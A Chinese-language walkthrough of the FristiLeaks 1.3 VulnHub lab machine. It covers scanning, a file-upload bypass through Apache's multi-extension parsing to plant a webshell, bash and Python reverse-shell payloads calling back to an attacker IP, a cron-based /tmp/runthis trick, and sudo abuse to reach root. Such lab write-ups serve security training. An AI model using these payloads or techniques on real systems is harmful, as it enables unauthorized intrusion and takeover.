下载
下载地址:https://www.vulnhub.com/entry/fristileaks-13,133/
修改网卡
网卡设置为nat模式,并修改mac地址为
08:00:27:A5:A6:76
信息收集
主机发现
arp-scan -l
发现靶机 IP 是 192.168.109.178
端口扫描
nmap -p- -A 192.168.109.178
目录扫描
python3 dirsearch.py -u "192.168.109.178" -x 403
访问 web
访问靶机 192.168.109.178
访问 /robots.txt
发现有三个路径,分别拼接访问一下
访问之后发现 3 个路径都是这张图
通过首页这里,发现有个小提示,拼接访问一下
发现了登录框
SQL注入和密码爆破都没发现,右击检查页面源代码,发现图片是 base64 加密的
对其进行解码
发现了有 png 字样,将其输出为 png 试试看
可能是密码,回到页面源码,盲猜一波这里的 eezeepz 是用户名,登录试试看
登录发现成功了
eezeepz
keKkeKKeKKeKkEKKEK
get shell
上传一句话木马,失败
它的中间件是apache
利用apache的解析漏洞,去绕过。在Apache1.x/2.x版本中,Apache默认一个文件可以有多个以点分割的后缀,解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。直到识别到合法后缀才进行解析。如 1.php.png
去上传路径
fristi/uploads/1.php.jpg
发现上传成功了,去蚁剑连接
反弹shell,先用kali监听4444端口
nc -lvvp 4444
蚁剑打开虚拟终端 输入
bash -c 'bash -i >& /dev/tcp/192.168.109.139/4444 0>&1'
反弹成功
权限提升
sudo -l 发现没有权限
在家目录下发现有三个用户
在 eezeepz 家目录下找到 notes.txt
发现可以在 /tmp 目录下放一个文件名为runthis的脚本文件,反弹shell
shell.py 文件内容:
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.109.139",8888));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
开启 http 服务
python3 -m http.server 8001
远程下载(在 /tmp 目录下载才会成功)
wget http://192.168.109.139:8001/shell.py
开启监听端口
nc -lvvp 8888
运行下面命令
echo "/usr/bin/python /tmp/shell.py" > /tmp/runthis
稍等片刻,反弹成功
获得交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
在家目录翻到了两个txt和两个py文件
查看之后发现是两个 txt 是编码后的结果,1 个是编码脚本
修改他的编码脚本改为解码脚本
import base64,codecs,sys
def decodeString(str):
rot13string = codecs.decode(str[::-1], 'rot13')
return base64.b64decode(rot13string)
print(decodeString(sys.argv[1]))
然后对其进行解码
第二个疑似密码,尝试登录
su fristigod
LetThereBeFristi!
登录成功
sudo -l查看具有sudo权限的程序
以fristigod的权限运行一下
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
说是后面要加命令
跟个id试试
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id
发现是root权限
跟/bin/bash获取root的shell
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
提权成功